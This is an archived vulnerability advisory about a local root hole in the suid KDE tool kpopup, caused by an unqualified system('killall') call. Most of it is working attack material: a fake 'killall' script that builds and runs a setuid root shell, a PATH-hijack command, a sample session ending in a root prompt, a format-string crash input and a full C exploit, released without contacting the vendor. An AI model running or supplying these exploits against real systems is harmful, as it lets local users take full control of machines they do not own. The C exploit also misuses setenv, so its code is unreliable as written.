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TUCoPS :: Linux :: Apps A-M :: bt1370.txt

Local root vuln in kpopup







A local root vuln exists in Kpopup version 0.9.1(latest) and 

proberly all other versions. It is avaliable from

http://www.henschelsoft.de/kpopup_en.html (main site)

http://www.freebsd.org/ports/net.html

and many other places if you search kpopup on google.



I. BACKGROUND



Kpopup is a KDE program for sending and receiving MS Windows WinPopup 

messages. When package is compiled and install the binary kpopup gets

installed suid root it also comes as part of FreeBSD ports collection.



II. DESCRIPTION & EXPLOIT

This app uses the system() call which is very unsafe expecially

on a suid root binary. It also contains Format string bugs in the 

sprintf() function. In this advisory i will explain how to obtain

root privlages from this app by exploiting system(). There is 3 

places on the misc.cpp source that use system(). The one we use to

exploit this is on line 106.



void sendSignalForNewMessage() {

    char command[50];

                                                                                

    sprintf(command, "killall -USR1 kpopup");

    system(command);

}



To exploit this what we need to do is make a shell script and call it

killall and place it in the /tmp directory. Here is a script that i 

wrote to exlpoit it.



#!/bin/sh

cd /tmp

/bin/cat > shell.c << EOF

#include <stdio.h>

int main()

{

setuid(0);

setgid(0);

execl("/bin/bash", "-bash", NULL);

return 0;

}

EOF

/usr/bin/gcc /tmp/shell.c -o /tmp/shell

/bin/chown root.root shell

/bin/chmod 6711 shell

echo "NOW HERE IS YOUR ROOT SHELL"

/tmp/shell



so place this in /tmp as killall and chmod +x it. Now what we need to 

do is.

export 

PATH=/tmp:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin:



Once this is done all we need to do is run the binary like so.

/usr/local/kde/bin/kpopup root shell

and thats it we now have root privs.



an example run of this...



[b0f@b0f b0f]$ export

PATH=/tmp:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin:

[b0f@b0f b0f]$ /usr/local/kde/bin/kpopup root shell

fileerror!

NOW HERE IS YOUR ROOT SHELL

[root@b0f tmp]#



The format strings bugs are in that main.cpp source line 56 and 60

they can be triggered by 

[b0f@b0f b0f]$ /usr/local/kde/bin/kpopup %n%n %n%n

Segmentation fault

[b0f@b0f b0f]$



I haven't exploited the fmt bugs. There also seems to be possable race 

condtions 

in kpopup.



III. EXPLOIT



/*Local root exploit for kpopup

 *by b0f www.b0f.net

 */

#include <stdio.h>

int main()

{

setenv("PATH=/tmp:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:\

/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin:");

FILE *fd;

fd = fopen("/tmp/killall", "w");{

fprintf(fd, "#!/bin/sh\n");

fprintf(fd, "cd /tmp\n");

fprintf(fd, "/bin/cat > shell.c << EOF\n");

fprintf(fd, "#include <stdio.h>\n");

fprintf(fd, "int main()\n");

fprintf(fd, "{\n");

fprintf(fd, "setuid(0);\n");

fprintf(fd, "setgid(0);\n");

fprintf(fd, "execl(\"/bin/bash\", \"-bash\", NULL);\n");

fprintf(fd, "return 0;\n");

fprintf(fd, "}\n");

fprintf(fd, "EOF\n");

fprintf(fd, "/usr/bin/gcc /tmp/shell.c -o /tmp/shell\n");

fprintf(fd, "/bin/chown root.root /tmp/shell\n");

fprintf(fd, "/bin/chmod 6711 /tmp/shell\n");

fprintf(fd, "echo NOW HERE IS YOUR ROOT SHELL\n");

fprintf(fd, "/tmp/shell\n");

fclose(fd);

system("chmod +x /tmp/killall");

system("/usr/local/kde/bin/kpopup root shell");

return 0;

}

}





IV. ANALYSIS



An attacker could exploit this issue on a machine running kpopup to 

obtain root privileges.



V.DETECTION



This is vulnerable in all versions off kpopup tested on Redhat 9.0



VI. VENDOR



The vendor has not been contacted about this issue.



Regards

b0f  (Alan M)

www.b0f.net


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